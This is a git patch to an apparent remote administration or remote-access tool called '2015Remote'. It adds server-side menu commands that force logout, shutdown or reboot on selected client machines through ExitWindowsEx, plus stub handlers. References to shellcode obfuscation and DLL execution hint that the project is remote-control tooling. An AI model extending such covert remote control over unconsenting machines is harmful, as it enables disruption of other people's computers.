From 25cf3ea99086bbfcb0ea2b39f3b32367c73931bb Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sun, 19 Oct 2025 19:52:12 +0800 Subject: [PATCH] Feature: Add machine logout, shutdown and reboot cmd --- client/KernelManager.cpp | 51 +++++++++++++++ common/commands.h | 7 +++ server/2015Remote/2015Remote.rc | Bin 101438 -> 103074 bytes server/2015Remote/2015RemoteDlg.cpp | 59 ++++++++++++++++++ server/2015Remote/2015RemoteDlg.h | 9 ++- server/2015Remote/2015Remote_vs2015.vcxproj | 1 + .../2015Remote_vs2015.vcxproj.filters | 1 + server/2015Remote/res/Bitmap/EditGroup.bmp | Bin 0 -> 822 bytes server/2015Remote/resource.h | Bin 50792 -> 52852 bytes 9 files changed, 127 insertions(+), 1 deletion(-) create mode 100644 server/2015Remote/res/Bitmap/EditGroup.bmp diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 1d75e38..10baf22 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -365,6 +365,34 @@ BOOL IsRunningAsAdmin() return isAdmin; } +bool EnableShutdownPrivilege() { + HANDLE hToken; + TOKEN_PRIVILEGES tkp; + + // 打开当前进程的令牌 + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { + return false; + } + + // 获取关机权限的 LUID + if (!LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid)) { + CloseHandle(hToken); + return false; + } + + tkp.PrivilegeCount = 1; + tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + // 启用关机权限 + if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0)) { + CloseHandle(hToken); + return false; + } + + CloseHandle(hToken); + return true; +} + VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT; @@ -377,6 +405,29 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) std::string publicIP = m_ClientObject->GetClientIP(); switch (szBuffer[0]) { + case TOKEN_MACHINE_MANAGE: + if (ulLength <= 1 || !EnableShutdownPrivilege()) break; +#ifdef _DEBUG + Mprintf("收到机器管理命令: %d, %d\n", szBuffer[0], szBuffer[1]); + break; +#endif + switch (szBuffer[1]) + { + case MACHINE_LOGOUT: { + ExitWindowsEx(EWX_LOGOFF | EWX_FORCE, 0); + break; + } + case MACHINE_SHUTDOWN: { + ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0); + break; + } + case MACHINE_REBOOT: { + ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0); + break; + } + default: + break; + } case CMD_RUNASADMIN: { char curFile[_MAX_PATH] = {}; GetModuleFileName(NULL, curFile, MAX_PATH); diff --git a/common/commands.h b/common/commands.h index 18260e6..734f16f 100644 --- a/common/commands.h +++ b/common/commands.h @@ -191,6 +191,7 @@ enum { TOKEN_CHAT_START = 62, // Զ̸̽ TOKEN_UNINSTALL = 63, // ж TOKEN_PRIVATESCREEN = 64, // ˽Ļ + TOKEN_MACHINE_MANAGE = 65, // // ˷ıʶ TOKEN_AUTH = 100, // Ҫ֤ @@ -264,6 +265,12 @@ enum { CMD_EXECUTE_DLL = 240, // ִд }; +enum MachineCommand { + MACHINE_LOGOUT, + MACHINE_SHUTDOWN, + MACHINE_REBOOT, +}; + enum ProxyManager { TOKEN_PROXY_CONNECT_RESULT, TOKEN_PROXY_BIND_RESULT, diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index fcba1395f1153368120c14d7740932589ae94ab2..67b6a03ef665bd1a7a9a36a33b36d459cc9af829 100644 GIT binary patch delta 544 zcmdltgKg1LwuUW?Jo4=C{4G=2f{sl8XuxPaeSs3A5T`ps5Q9HMC_}*XjVz3s(|P0> z%ckq;F!FIOiZ)MLSj|?VG+FVH`1CtMj26?Er~)M~a5KtG*HdH6gRnNJF&02rCh9;j z2UbRo=?Wr@Y1@}5Fp4okjJng$U9~*fEC|V{bBc^L5N&Zvj13UhCnca5P_Gn3msNU3 z7^(wUUgR)LoxZ@D(Qdjx0was4GlK_%Cxah@D?>bk56~CxAfHVC$ipZOHjt$_&?+6F zoD;5mdNv26BdZd_*@^no15FvtCqEEpnQoxW$O1MNN!@F9MrDX^rpYt%F;3@DVQiV+ zq|DedO^DHIdyfhu3)F|{Nj@FiRsC@YAF^@#)%K?+O+R49Xd~~+5CL?gGccG#z>akR zIy4;UaFC-N8C)hGyeB*T04t*i8<(GgKU9-6x+Y*8!8A;tsLQB6-A;;8Vfq9wMy~B= z)EPrerWg1#itz>kEkKG>Uq;XA3BHU1{H_cs44DiiK)E7@e1_8LiD8VQ+ZAFM zNEIk{!I4pPx~3Lm^YlfUjBVSWX)&_Ev?xGLo2JN^2hq``$XEbji75fa^gI}~wolMy S3^AE5Q^dGoyGb%*o<0C0Gc5@K diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index a256a80..675488a 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -50,6 +50,7 @@ #define UM_ICONNOTIFY WM_USER+100 #define TIMER_CHECK 1 #define TIMER_CLOSEWND 2 +#define TODO_NOTICE MessageBoxA("This feature has not been implemented!\nPlease contact: 962914132@qq.com", "提示", MB_ICONINFORMATION); typedef struct { const char* szTitle; //列表的名称 @@ -356,6 +357,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I m_bmOnline[14].LoadBitmap(IDB_BITMAP_ADMINRUN); m_bmOnline[15].LoadBitmap(IDB_BITMAP_UNINSTALL); m_bmOnline[16].LoadBitmap(IDB_BITMAP_PDESKTOP); + m_bmOnline[17].LoadBitmap(IDB_BITMAP_REGROUP); for (int i = 0; i < PAYLOAD_MAXTYPE; i++) { m_ServerDLL[i] = nullptr; @@ -486,6 +488,12 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_ONLINE_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnOnlinePrivateScreen) ON_NOTIFY(TCN_SELCHANGE, IDC_GROUP_TAB, &CMy2015RemoteDlg::OnSelchangeGroupTab) ON_COMMAND(ID_OBFS_SHELLCODE, &CMy2015RemoteDlg::OnObfsShellcode) + ON_COMMAND(ID_ONLINE_REGROUP, &CMy2015RemoteDlg::OnOnlineRegroup) + ON_COMMAND(ID_MACHINE_SHUTDOWN, &CMy2015RemoteDlg::OnMachineShutdown) + ON_COMMAND(ID_MACHINE_REBOOT, &CMy2015RemoteDlg::OnMachineReboot) + ON_COMMAND(ID_EXECUTE_DOWNLOAD, &CMy2015RemoteDlg::OnExecuteDownload) + ON_COMMAND(ID_EXECUTE_UPLOAD, &CMy2015RemoteDlg::OnExecuteUpload) + ON_COMMAND(ID_MACHINE_LOGOUT, &CMy2015RemoteDlg::OnMachineLogout) END_MESSAGE_MAP() @@ -1477,6 +1485,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) Menu.SetMenuItemBitmaps(ID_ONLINE_RUN_AS_ADMIN, MF_BYCOMMAND, &m_bmOnline[14], &m_bmOnline[14]); Menu.SetMenuItemBitmaps(ID_ONLINE_UNINSTALL, MF_BYCOMMAND, &m_bmOnline[15], &m_bmOnline[15]); Menu.SetMenuItemBitmaps(ID_ONLINE_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[16], &m_bmOnline[16]); + Menu.SetMenuItemBitmaps(ID_ONLINE_REGROUP, MF_BYCOMMAND, &m_bmOnline[17], &m_bmOnline[17]); std::string masterHash(GetMasterHash()); if (GetPwdHash() != masterHash || m_superPass.empty()) { @@ -3369,3 +3378,53 @@ void CMy2015RemoteDlg::OnSelchangeGroupTab(NMHDR* pNMHDR, LRESULT* pResult) *pResult = 0; } + + +void CMy2015RemoteDlg::OnOnlineRegroup() +{ + TODO_NOTICE; +} + + +void CMy2015RemoteDlg::MachineManage(MachineCommand type) { + if (MessageBoxA("此操作需客户端具有管理员权限,确定继续吗? ", "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) { + EnterCriticalSection(&m_cs); + POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); + while (Pos) { + int iItem = m_CList_Online.GetNextSelectedItem(Pos); + context* ContextObject = (context*)m_CList_Online.GetItemData(iItem); + BYTE token[32] = { TOKEN_MACHINE_MANAGE, type }; + ContextObject->Send2Client(token, sizeof(token)); + } + LeaveCriticalSection(&m_cs); + } +} + +void CMy2015RemoteDlg::OnMachineLogout() +{ + MachineManage(MACHINE_LOGOUT); +} + + +void CMy2015RemoteDlg::OnMachineShutdown() +{ + MachineManage(MACHINE_SHUTDOWN); +} + + +void CMy2015RemoteDlg::OnMachineReboot() +{ + MachineManage(MACHINE_REBOOT); +} + + +void CMy2015RemoteDlg::OnExecuteDownload() +{ + TODO_NOTICE; +} + + +void CMy2015RemoteDlg::OnExecuteUpload() +{ + TODO_NOTICE; +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 28cc2a4..4c2bed9 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -228,7 +228,7 @@ public: CRITICAL_SECTION m_cs; BOOL isClosed; CMenu m_MainMenu; - CBitmap m_bmOnline[17]; + CBitmap m_bmOnline[18]; uint64_t m_superID; enum { STATUS_UNKNOWN = -1, @@ -323,4 +323,11 @@ public: CTabCtrl m_GroupTab; afx_msg void OnSelchangeGroupTab(NMHDR* pNMHDR, LRESULT* pResult); afx_msg void OnObfsShellcode(); + afx_msg void OnOnlineRegroup(); + afx_msg void OnMachineShutdown(); + afx_msg void OnMachineReboot(); + afx_msg void OnExecuteDownload(); + afx_msg void OnExecuteUpload(); + afx_msg void OnMachineLogout(); + void MachineManage(MachineCommand type); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 39d7540..ded396f 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -405,6 +405,7 @@ + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index 243b89c..763b293 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -165,6 +165,7 @@ + diff --git a/server/2015Remote/res/Bitmap/EditGroup.bmp b/server/2015Remote/res/Bitmap/EditGroup.bmp new file mode 100644 index 0000000000000000000000000000000000000000..786c9cb03560cd8cb4b7017bedf30618441baf94 GIT binary patch literal 822 zcmZ?rHDhJ~12Z700mK4O%*Y@C7H5FULpTuf|BnxJK*c^>K!nvIOetg$h%RIjXb7?b wOfIG^^i+>#7p7w%BFM^+*;v)1DL~_5YC%(g#-+M?pn-U-z$1m}68eh(0FsA<{{R30 literal 0 HcmV?d00001 diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index c9fb71f0923310c386396788f33f8b83ad4f77f1..dc39aeeb70b56f9ca20542d0e06a4b48e7363eda 100644 GIT binary patch delta 579 zcmZWlJugF17(Ul+svk>9-H4W|rip~mkDF9C7flDWh=xg{yHJy{%m(#LL?SvhG3W3b?>)CJiQ(j&oacR?uh(7i<47z#DVQ6xAypYhK`~&YE@4lUtP3o{ zqHKZ1SpshZE*;yjo61cku!F~GJ8D%)2q1moMgP4CyR_;n+s(5~VKF*Uy!3cDlDhQ? zL2Q@27_S=96rI?Uj5zdItV#BF+RgF%0Vf()CfdlJg~TumqNB~B{)j<(XGi_&6rp!r zy{H`o%WTdY> zg4{|et0`ScnrY3ElL$+)DRQ+$zGmoFknZf|IW||cj%3W=go)$D;BfrkO|UtAPs>AU w=WgzAwGtA-Narbu-l3`yrIYySP>{=?4}JlQTN1wNb}ZKeNDX%L_hr5G4eMjPyZ`_I delta 43 zcmew|hxtVh^M-SdlRpTsY;JQhYT7JtMvHMWpOe_+fU|Cs`Ho5eX^F|l&aMLhs-_cD